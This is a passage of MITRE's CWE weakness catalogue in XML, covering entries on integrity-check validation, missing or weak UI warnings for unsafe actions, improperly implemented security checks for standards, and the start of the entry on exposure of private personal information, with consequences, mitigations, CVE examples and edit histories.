	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="389"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
            <Related_Attack_Pattern CAPEC_ID="665"/>
            <Related_Attack_Pattern CAPEC_ID="74"/>
            <Related_Attack_Pattern CAPEC_ID="75"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 15: Not Updating Easily.&#34; Page 231"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2010-12-13">Failure to Add Integrity Check Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="354" Name="Improper Validation of Integrity Check Value" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.</Description>
         <Extended_Description>Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="353" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Other</Impact>
               <Note>Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Data that is parsed and used may be corrupted.</Note>
            </Consequence>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Scope>Other</Scope>
               <Impact>Hide Activities</Impact>
               <Impact>Other</Impact>
               <Note>Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;<xhtml:br/>serv.sin_addr.s_addr = htonl(INADDR_ANY);<xhtml:br/>servr.sin_port = htons(1008);<xhtml:br/>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));<xhtml:br/>while (1) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>memset(msg, 0x0, MAX_MSG);<xhtml:br/>clilen = sizeof(cli);<xhtml:br/>if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) &amp; cli, &amp;clilen);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>while(true) {<xhtml:div style="margin-left:1em;">DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);<xhtml:br/>socket.send(sendPacket);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to check integrity check value</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="145"/>
            <Related_Attack_Pattern CAPEC_ID="463"/>
            <Related_Attack_Pattern CAPEC_ID="75"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Failure to Check Integrity Check Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="356" Name="Product UI does not Warn User of Unsafe Actions" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.</Description>
         <Extended_Description>Product systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="221" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1055</Reference>
               <Description>Product does not warn user when document contains certain dangerous functions or macros.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1055</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0794</Reference>
               <Description>Product does not warn user when document contains certain dangerous functions or macros.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0794</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0277</Reference>
               <Description>Product does not warn user when document contains certain dangerous functions or macros.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0277</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0517</Reference>
               <Description>Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0517</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0602</Reference>
               <Description>File extractor does not warn user it setuid/setgid files could be extracted. Overlaps privileges/permissions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0602</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0342</Reference>
               <Description>E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0342</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Product UI does not warn user of unsafe actions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Often resultant, e.g. in unhandled error conditions.</Note>
            <Note Type="Relationship">Can overlap privilege errors, conceptually at least.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="357" Name="Insufficient UI Warning of Dangerous Operations" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Non-Repudiation</Scope>
               <Impact>Hide Activities</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-1099</Reference>
               <Description>User not sufficiently warned if host key mismatch occurs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1099</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient UI warning of dangerous operations</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="358" Name="Improperly Implemented Security Check for Standard" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="345" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="290" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.</xhtml:p>
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0862</Reference>
               <Description>Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0862</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0970</Reference>
               <Description>Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0970</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1407</Reference>
               <Description>Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1407</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0198</Reference>
               <Description>Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0198</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2163</Reference>
               <Description>Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2163</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2181</Reference>
               <Description>Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2181</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2182</Reference>
               <Description>Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2182</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2298</Reference>
               <Description>Security check not applied to all components, allowing bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2298</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Improperly Implemented Security Check for Standard</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Observed_Examples, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="359" Name="Exposure of Private Personal Information to an Unauthorized Actor" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.</Description>
         <Extended_Description>
            <xhtml:p>There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information.  Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc.  Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product.  An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations.  However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.</xhtml:p>
            <xhtml:p>Some types of private information include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Government identifiers, such as Social Security Numbers</xhtml:li>
                  <xhtml:li>Contact information, such as home addresses and telephone numbers</xhtml:li>
                  <xhtml:li>Geographic location - where the user is (or was)</xhtml:li>
                  <xhtml:li>Employment history</xhtml:li>
                  <xhtml:li>Financial data - such as credit card numbers, salary, bank accounts, and debts</xhtml:li>
                  <xhtml:li>Pictures, video, or audio</xhtml:li>
                  <xhtml:li>Behavioral patterns - such as web surfing history, when certain activities are performed, etc.</xhtml:li>
                  <xhtml:li>Relationships (and types of relationships) with others - family, friends, contacts, etc.</xhtml:li>
                  <xhtml:li>Communications - e-mail addresses, private messages, text messages, chat logs, etc.</xhtml:li>
                  <xhtml:li>Health - medical conditions, insurance status, prescription records</xhtml:li>
                  <xhtml:li>Account passwords and other credentials</xhtml:li>
               </xhtml:ul>
